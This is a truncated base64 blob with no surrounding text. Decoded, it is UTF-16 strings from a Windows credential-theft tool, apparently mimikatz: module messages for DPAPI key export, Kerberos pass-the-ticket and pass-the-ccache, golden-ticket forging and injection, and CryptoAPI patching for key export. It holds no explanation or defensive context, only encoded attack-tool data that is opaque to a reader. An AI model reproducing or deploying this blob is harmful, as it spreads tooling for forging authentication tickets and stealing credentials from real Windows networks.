DgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABJAG4AcAB1AHQAIABDAHIAZQBkACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGMAcgBlAGQAOgBmAGkAbABlACkACgAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAABIajFkaVE2a3BVeDdWQzRtAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAHIAaQB2AGEAdABlACAASwBlAHkAOgAKAAAAAAByAGEAdwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAASQBuAHAAdQB0ACAAQwBBAFAASQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAFAAcgBvAHAAZQByAHQAaQBlAHMAOgAKAAAANmpua2Q1SjNaZFFEdHJzdQAAAAB4VDVyWlc1cVZWYnJ2cHVBAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAASQBuAHAAdQB0ACAAQwBOAEcAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLZXJiZXJvcwAAAABwAHQAdAAAAFAAYQBzAHMALQB0AGgAZQAtAHQAaQBjAGsAZQB0ACAAWwBOAFQAIAA2AF0AAAAAAGwAaQBzAHQAAAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAAAAdABnAHQAAABSAGUAdAByAGkAZQB2AGUAIABjAHUAcgByAGUAbgB0ACAAVABHAFQAAAAAAHAAdQByAGcAZQAAAFAAdQByAGcAZQAgAHQAaQBjAGsAZQB0ACgAcwApAAAAZwBvAGwAZABlAG4AAAAAAFcAaQBsAGwAeQAgAFcAbwBuAGsAYQAgAGYAYQBjAHQAbwByAHkAAABIAGEAcwBoACAAcABhAHMAcwB3AG8AcgBkACAAdABvACAAawBlAHkAcwAAAHAAdABjAAAAUABhAHMAcwAtAHQAaABlAC0AYwBjAGEAYwBoAGUAIABbAE4AVAA2AF0AAABjAGwAaQBzAHQAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0AHMAIABpAG4AIABNAEkAVAAvAEgAZQBpAG0AZABhAGwAbAAgAGMAYwBhAGMAaABlAAAAawBlAHIAYgBlAHIAbwBzAAAAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAAAAAAAAJQAzAHUAIAAtACAARABpAHIAZQBjAHQAbwByAHkAIAAnACUAcwAnACAAKAAqAC4AawBpAHIAYgBpACkACgAAAFwAKgAuAGsAaQByAGIAaQAAAAAAXAAAACAAIAAgACUAMwB1ACAALQAgAEYAaQBsAGUAIAAnACUAcwAnACAAOgAgAAAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAAAE8ASwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAEwAcwBhAEMAYQBsAGwASwBlAHIAYgBlAHIAbwBzAFAAYQBjAGsAYQBnAGUAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAVABpAGMAawBlAHQAKABzACkAIABwAHUAcgBnAGUAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAaQBzACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEsAZQByAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAoACgAJACoAKgAgAFMAZQBzAHMAaQBvAG4AIABrAGUAeQAgAGkAcwAgAE4AVQBMAEwAIQAgAEkAdAAgAG0AZQBhAG4AcwAgAGEAbABsAG8AdwB0AGcAdABzAGUAcwBzAGkAbwBuAGsAZQB5ACAAaQBzACAAbgBvAHQAIABzAGUAdAAgAHQAbwAgADEAIAAqACoACgAAAAAAbgBvACAAdABpAGMAawBlAHQAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAoAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAAAAAgADsAIAAAAAoAIAAgACAAUwBlAHIAdgBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAACgAgACAAIABGAGwAYQBnAHMAIAAlADAAOAB4ACAAIAAgACAAOgAgAAAAAABrAGkAcgBiAGkAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAdQBzAGUAcgAAAAAAZABvAG0AYQBpAG4AAAAAAGQAZQBzAAAAcgBjADQAAABrAHIAYgB0AGcAdAAAAAAAYQBlAHMAMQAyADgAAAAAAGEAZQBzADIANQA2AAAAAABzAGUAcgB2AGkAYwBlAAAAdABhAHIAZwBlAHQAAAAAAGkAZAAAAAAAcgBvAGQAYwAAAAAAZwByAG8AdQBwAHMAAAAAAHMAaQBkAHMAAAAAADAAAABzAHQAYQByAHQAbwBmAGYAcwBlAHQAAAA1ADIANQA2ADAAMAAwAAAAZQBuAGQAaQBuAAAAcgBlAG4AZQB3AG0AYQB4AAAAAAAAAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQBzAAoARABvAG0AYQBpAG4AIAAgACAAIAA6ACAAJQBzAAoAUwBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAVQBzAGUAcgAgAEkAZAAgACAAIAA6ACAAJQB1AAoAAAAAAEcAcgBvAHUAcABzACAASQBkACAAOgAgACoAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAKAFMAZQByAHYAaQBjAGUASwBlAHkAOgAgAAAAIAAtACAAJQBzAAoAAAAAAFMAZQByAHYAaQBjAGUAIAAgACAAOgAgACUAcwAKAAAAVABhAHIAZwBlAHQAIAAgACAAIAA6ACAAJQBzAAoAAABMAGkAZgBlAHQAaQBtAGUAIAAgADoAIAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAtAD4AIABUAGkAYwBrAGUAdAAgADoAIAAlAHMACgAKAAAAAAAAAAAACgBHAG8AbABkAGUAbgAgAHQAaQBjAGsAZQB0ACAAZgBvAHIAIAAnACUAcwAgAEAAIAAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAAAAAAoARgBpAG4AYQBsACAAVABpAGMAawBlAHQAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAbABvAGMAYQB0AGUAIABDAHIAeQBwAHQAbwBTAHkAcwB0AGUAbQAgAGYAbwByACAARQBUAFkAUABFACAAJQB1ACAAKABlAHIAcgBvAHIAIAAwAHgAJQAwADgAeAApACAALQAgAEEARQBTACAAbwBuAGwAeQAgAGEAdgBhAGkAbABhAGIAbABlACAAbwBuACAATgBUADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABrAHIAYgB0AGcAdAAgAGsAZQB5ACAAYQByAGcAdQBtAGUAbgB0ACAAKAAvAHIAYwA0ACAAbwByACAALwBhAGUAcwAxADIAOAAgAG8AcgAgAC8AYQBlAHMAMgA1ADYAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAA8ADMAIABlAG8ALgBvAGUAIAB+ACAAQQBOAFMAUwBJACAARQA+AAAAIAAqACAAUABBAEMAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAIAAqACAAUABBAEMAIABzAGkAZwBuAGUAZAAKAAAAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABlAG4AYwByAHkAcAB0AGUAZAAKAAAAIAAqACAASwByAGIAQwByAGUAZAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgBfAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBlAG4AYwByAHkAcAB0ACAAJQAwADgAeAAKAAAACQAqACAAJQBzACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGgAYQBzAGgAXwBkAGEAdABhACAAOwAgAEgAYQBzAGgAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAAYwBvAHUAbgB0AAAAWAAtAEMAQQBDAEgARQBDAE8ATgBGADoAAAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAKAAoARABhAHQAYQAgACUAdQAAAAoACQAgACAAIAAqACAASQBuAGoAZQBjAHQAaQBuAGcAIAB0AGkAYwBrAGUAdAAgADoAIAAAAAAACgAJACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAJQBzACAAIQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAJACoAIAAlAHcAWgAgAGUAbgB0AHIAeQA/ACAAKgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGMAYwBhAGMAaABlACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAA0AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAZgBpAGwAZQBuAGEAbQBlACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAJQB1AC0AJQAwADgAeAAuACUAcwAAAAAACgAJACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAoACQAgACAAIABTAGUAcgB2AGkAYwBlACAATgBhAG0AZQAgAAAAAAAKAAkAIAAgACAAVABhAHIAZwBlAHQAIABOAGEAbQBlACAAIAAAAAAACgAJACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAAAAAACAAKAAgACUAdwBaACAAKQAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAKAAkAIAAgACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAACgAJACAAIAAgACAAIAAAAAAAAAAKAAkAIAAgACAAVABpAGMAawBlAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAgADsAIABrAHYAbgBvACAAPQAgACUAdQAAAAAACQBbAC4ALgAuAF0AAAAAAG4AYQBtAGUAXwBjAGEAbgBvAG4AaQBjAGEAbABpAHoAZQAAAG8AawBfAGEAcwBfAGQAZQBsAGUAZwBhAHQAZQAAAAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaQBuAGkAdABpAGEAbAAAAHIAZQBuAGUAdwBhAGIAbABlAAAAaQBuAHYAYQBsAGkAZAAAAHAAbwBzAHQAZABhAHQAZQBkAAAAbQBhAHkAXwBwAG8AcwB0AGQAYQB0AGUAAAAAAHAAcgBvAHgAeQAAAHAAcgBvAHgAaQBhAGIAbABlAAAAZgBvAHIAdwBhAHIAZABlAGQAAABmAG8AcgB3AGEAcgBkAGEAYgBsAGUAAAAoACUAMAAyAGgAdQApACAAOgAgAAAAAAAlAHcAWgAgADsAIAAAAAAAKAAtAC0AKQAgADoAIAAAAEAAIAAlAHcAWgAAAG4AdQBsAGwAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBjAHIAYwAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQBfAG4AdAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuADIAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AZQB4AHAAIAAgACAAIAAAAHIAYwA0AF8AbABtACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AbQBkADQAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcwBoAGEAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdABfAGUAeABwACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAXwBlAHgAcAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkAF8AZQB4AHAAIAAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADIANQA2AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAGEAZQBzADIANQA2AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAHUAbgBrAG4AbwB3ACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHMAdABhAHQAdQBzAAAAAABzAGkAbgBnAGwAZQAAAAAAbwBmAGYAAAB0AGUAcwB0AAAAAABiAHUAcwB5AGwAaQBnAGgAdAAAAEIAdQBzAHkATABpAGcAaAB0ACAATQBvAGQAdQBsAGUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AbwBmAGYAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAAAASQBOAFAAVQBUAEUAVgBFAE4AVAAAAAAATABJAEcASABUAAAAUwBPAFUATgBEAAAASgBJAE4ARwBMAEUAXwBDAEwASQBQAFMAAAAAAEIAdQBzAHkATABpAGcAaAB0ACAAZABlAHQAZQBjAHQAZQBkAAoAAAAAAAAACgBbACUAMwB1AF0AIAAlAHMACgAgACAAVgBlAG4AZABvAHIAOgAgADAAeAAlADAANAB4ACwAIABQAHIAbwBkAHUAYwB0ADoAIAAwAHgAJQAwADQAeAAsACAAVgBlAHIAcwBpAG8AbgA6ACAAMAB4ACUAMAA0AHgACgAgACAARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIAAgADoAIAAlAHMACgAgACAAQwBhAHAAYQBiAGkAbABpAHQAaQBlAHMAIAAgADoAIAAwAHgAJQAwADIAeAAgACgAIAAAACUAcwAsACAAAAAAACkACgAAAAAAIAAgAEQAZQB2AGkAYwBlACAASABhAG4AZABsAGUAOgAgADAAeAAlAHAACgAAAAAAIAAgACAAIABTAHQAYQB0AHUAcwAgACAAIAAgACAAOgAgADAAeAAlADAAMgB4AAoAAAAAACAAIAAgACAAUAByAG8AZAB1AGMAdABJAGQAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABDAG8AcwB0AHUAbQBlAHIASQBkACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AbwBkAGUAbAAgACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAUwBlAHIAaQBhAGwAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABNAGYAZwBfAEkARAAgACAAIAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AZgBnAF8ARABhAHQAZQAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAcwB3AHIAZQBsAGUAYQBzAGUAIAAgADoAIAAlAFMACgAAAAAAIAAgAEsAZQBlAHAAQQBsAGkAdgBlACAAVABoAHIAZQBhAGQAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAIAAgAFcAbwByAGsAZQByACAAVABoAHIAZQBhAGQAIAAgACAAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAHQAYQB0AHUAcwAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAWwAlADMAdQBdACAAJQBzACAAKAAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBsAGkAcwB0ACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAABzAG8AdQBuAGQAAABjAG8AbABvAHIAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AcwBpAG4AZwBsAGUAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHAAcgBvAHYAaQBkAGUAcgBzAAAATABpAHMAdAAgAGMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABwAHIAbwB2AGkAZABlAHIAcwAAAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcwB0AG8AcgBlAHMAAABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAawBlAHkAcwAAAAAAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABrAGUAeQBzACAAYwBvAG4AdABhAGkAbgBlAHIAcwAAAAAAAAAAAEgAYQBzAGgAIABhACAAcABhAHMAcwB3AG8AcgBkACAAdwBpAHQAaAAgAG8AcAB0AGkAbwBuAGEAbAAgAHUAcwBlAHIAbgBhAG0AZQAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwByAHkAcAB0AG8AQQBQAEkAIABsAGEAeQBlAHIAIABmAG8AcgAgAGUAYQBzAHkAIABlAHgAcABvAHIAdAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMATgBHACAAcwBlAHIAdgBpAGMAZQAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAABjAH